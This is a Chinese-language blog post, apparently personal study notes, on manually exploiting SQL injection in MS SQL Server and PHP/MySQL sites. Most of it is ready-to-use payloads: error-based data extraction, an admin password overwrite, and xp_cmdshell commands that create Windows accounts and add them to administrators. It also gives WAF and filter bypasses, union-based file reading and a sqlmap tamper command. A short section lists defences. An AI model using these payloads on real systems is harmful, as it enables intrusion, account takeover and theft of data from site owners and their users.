🐱‍👤ms sql server手工注入及思路

ms sql server

  • 判断注入点:
    1. and 1=1返回正常
    2. and 1=2 返回错误

✌以下注入判断都是通过错误信息来进行查询数据,和修改数据库
– 判断版本号 : and @@ version>0: mircosoft sql server :t5.0->win2000 server ,nt5.2->win2003 ,nt6.1->win7
– 判断当前连接的数据库用户 and user >0;
– 判断当前连接数据库名 and db_name()>0;
– 判断其他库:修改dbid值: and (select name form master.dbo.sysdatabases where dbid=6)>0
– 判断表名:'t_jiaozhu':and (select top 1 name from sysobjects where xtype='u' and status>0)>0
– 判断其他名:and select(top 1 name from sysobjects)
– 判断列名:and(select top 1 col_name(object_id('admin'),1) from sysobjects)>0
– 判断值: and (select username form admin)>0
– 修改密码: ; update article.dbo.admin set password='bbbbbb' where username='admin' ;- -
注:以上表的信息需要对sql server的结构非常熟悉,可以先学习一下数据库里面的表结构

🐱‍👤提权

1.sql server 提权 sa==system>administrator

  • 新建数据库用户: ·;exec master..sp_addlogin name ,888888; - -
  • 查看数据库用户: 程序—mssqlserver—企业管理器—安全性—登录:刷新
  • 提权:hyq用户加入到sysadmin组: ;exec master..sp_addsrvrolemember name ,sysadmin;- -
  • 获取sa口令:sqlmap.py -u "注入点" - - password
  • 利用漏洞:数据库连接工具:navicat for mssql

2.操作系统提权

  • 新建系统用户: ;exec master..xp_cmdshell 'net user tx11988 888888 /add'
  • 提权: ;exec master..xp_cmdshell 'net localgroup administrators txl1988 /add'
  • 漏洞利用:远程桌面:mstsc
  • ipc空连接: net use \\ip\ipc$输入用户名密码,
  • 磁盘映射net use k: \\ip\c$

3.向系统写文件

  • ;exec xp_cmdshell 'echo aaa> c:\a.txt'

4.防御xp_cmdshell

  • 删除 xp_cmdshell: ;exec master..sp_dropextenderproc 'xp_cmdshell'
  • 恢复: ;exec master..sp_addextendedproc 'xp_cmdshell ', 'xplog70.dll'(因此在删除的时候要将xp_cmdshell和xolog70.dll一起删除)
  • sqlserver2005及以上:恢复:exec sp_configure 'show advanced options' ,1; reconfigure; exec sp_configure 'xp_cmdshell' ,1; reconfigure
  • 终极防御:防未公布漏洞:基于cmdshell 反弹:%system%system32\cmd.exe 删除所有默认权限,然后添加administrator所有权限
  • 注入脚本:noinject.asp过滤关键字:and or union update insert xp_ sp_ exec 等防post,get cookie提交哪个脚本有漏洞
  • 日志分析:查找’and%’
  • 参数化查询:数据库对象
  • waf:web application firewall硬件

Php+mysql

  • 数据库账户密码:config.inc.php
  • PHP安全性:php.ini gpc=on时注入特殊字符时会进行转义
    • 绕过:使用编码:%27;双编码绕过:%2527 宽字节绕过:%df’—>%df%5c’—>
    • and left(boardname,1)=’a’
  • union 联合查询判断前表查询的列数:union select 1,2,3..来查询;万能匹配:null
    • oracle: select null,null,null from dual
    • 判断回显位:如果前表出错,就会返回侯彪结果,参数值负数:id = -1 (id =-1 union select 1,2,3,4,5)3,4显示出来则表明3,4为回显位
  • 读文件:load_file(c:\boot.ini)(若被拦截,则转换为16进制hex)

sql手工注入

  • 判断过滤内容:
  • union select 空格
  • select * from article where id= (‘1select’)
  • a.编码,双编码:
  • b.大小写转换: uNiOn UNION
  • c.双写:uniunionon
  • 空格绕过:
  • ==/**/,tab %0a %0b(垂直tab)%0c %0d
    ():select(id)from(admin)
    ``:select`id`==
  • 构造sql语句完整性:
    注释:
    mssql:–
    mysql:–%20
    #:%23
    //
    ;
    –+
    — -
    /**\/
  • 闭合:
    select * from article where id= ('1select')
    ')uniunionon select%23
  • .构造payload:
    • a.判断前表列数;
      ')/**/uniunionon/**/select/**/1,2,3/**/%23 出错
      ')/**/uniunionon/**/select/**/1,2,3,4/**/%23 正常
      order by n
      ')/**/order/**/by/**/4%23
  • b.判断回显位:
    id=-1′)//uniunionon//select//1,2,3,4//%23
    2,3,4都可以
  • c.读key:
    id=-1′)//uniunionon//select//1,load_file(‘/tmp/360/key’),3,4//%23

sqlmap读:
-v 3:显示详细payload
真假判断:-level 3
sqlmap目录下/tamper:穿waf
sqlmap.py -u "http://172.24.106.204:81/vulnerabilities/fu1.php?id=1" --file-read=/tmp/360/key --tamper "space2hash.py"

发表评论

电子邮件地址不会被公开。